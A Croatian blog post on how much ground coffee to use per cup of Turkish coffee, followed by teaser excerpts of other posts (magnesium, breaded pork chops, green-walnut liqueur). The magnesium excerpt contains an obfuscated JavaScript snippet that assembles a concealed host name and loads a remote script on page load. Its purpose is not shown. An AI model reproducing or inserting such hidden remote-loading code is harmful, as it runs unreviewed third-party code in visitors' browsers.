KOLIKO ŽLIČICA KAVE IDE U DŽEZVU ZA TURSKU KAVU?





Koliko žličica kave ide u džezvu za tursku kavu?




Za mnoge je jutro nezamislivo bez šalice turske kave, no ono što jedna osoba smatra savršenom šalicom, drugoj može biti preslabo ili previše intenzivno. Jačina kave ne ovisi samo o vrsti zrna ili načinu prženja, već i o omjeru kave i vode tijekom pripreme. Upravo zato često se postavlja pitanje koliko žličica mljevene turske kave treba staviti u džezvu kako bi napitak bio dovoljno jak, ali i dalje ugodnog okusa. Iako ne postoji jedno univerzalno pravilo, postoje omjeri koje većina ljubitelja turske kave smatra idealnima za blagu, srednje jaku i izrazito jaku šalicu.




Koliko žličica kave ide u džezvu?

Tradicionalno se za jednu šalicu od oko 100 do 120 mililitara vode koristi jedna puna čajna žličica mljevene turske kave. Takav omjer daje uravnotežen okus i aromu koju većina smatra standardnom.

Ako pripremate dvije šalice, u džezvu ćete dodati dvije pune žličice kave, uz odgovarajuću količinu vode. Isti princip vrijedi i za veće količine - jedna puna žličica po šalici osnovno je pravilo kojeg se pridržava većina iskusnih ljubitelja turske kave.

Važno je napomenuti da se kava ne mjeri ravnim žličicama. Puna čajna žličica, bez pretjeranog "vrha", smatra se mjerom koja daje najbolji rezultat.



Kada se kava smatra jakom?

Jakom turskom kavom najčešće se smatra ona u kojoj se koristi oko jednu i pol do dvije pune čajne žličice mljevene kave na jednu šalicu vode. Takav omjer daje intenzivniju aromu, punije tijelo i izraženiji okus, a ujedno povećava i količinu kofeina u napitku.

Ipak, važno je znati da veća količina kave ne znači uvijek i bolji okus. Ako se pretjera s mljevenom kavom, napitak može postati previše gorak i težak, osobito ako se tijekom pripreme prekuha. Zato mnogi poznavatelji preporučuju da se jačina prvenstveno postiže kvalitetnom kavom i pravilnom pripremom, a tek potom povećanjem količine mljevene kave.

Za najbolji rezultat vodu je poželjno zagrijavati polako, a džezvu maknuti s vatre čim se počne stvarati pjena. Time se čuva bogata aroma i izbjegava neugodan gorak okus koji nastaje predugim kuhanjem.

Na kraju, idealna jačina turske kave uvijek ostaje stvar osobnog ukusa. Dok će nekima jedna puna žličica biti sasvim dovoljna, ljubitelji snažnijeg okusa često će posegnuti za jednom i pol ili čak dvije žličice po šalici kako bi dobili bogatiju i intenzivniju šalicu omiljenog napitka.



Pripremila: Ivana Matas 


Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

LIKER OD MLADIH ZELENIH ORAHA

Slika
Liker od mladih zelenih oraha  Ovaj je napitak sjajan način da povratite energiju i osnažite organizam, a priprema se vrlo jednostavno. Tajna njegove moći krije se u nedozrelim plodovima koji su u ovoj fazi prepuni vitamina, gorkih tvari i korisnih nutrijenata. Liker od mladih zelenih oraha  Sastojci: 12 srednje velikih, mladih zelenih oraha 1 litra kvalitetne domaće rakije (najbolje lozovače ili komovice) 700 g šećera (ili domaći med za zdraviju varijantu) Po želji za bolju aromu: 2 kriške limuna, 2 kriške naranče, 8-10 zrna kave, par klinčića ili malo vanilin šećera Priprema: Mlade orahe prvo detaljno operite i osušite. Zatim ih obavezno narežite na četvrtine ili polovice. Mali, ali važan savjet: Ovu radnju obavezno radite u rukavicama jer orasi puštaju intenzivnu tamnu boju koju je kasnije iznimno teško oprati s ruku!recipeci U veliku, prethodno opranu staklenku sa širokim grlom poslažite narezane orahe i prelijte ih šećerom. Ako se odlučite za dodatke poput lim...
Pročitajte više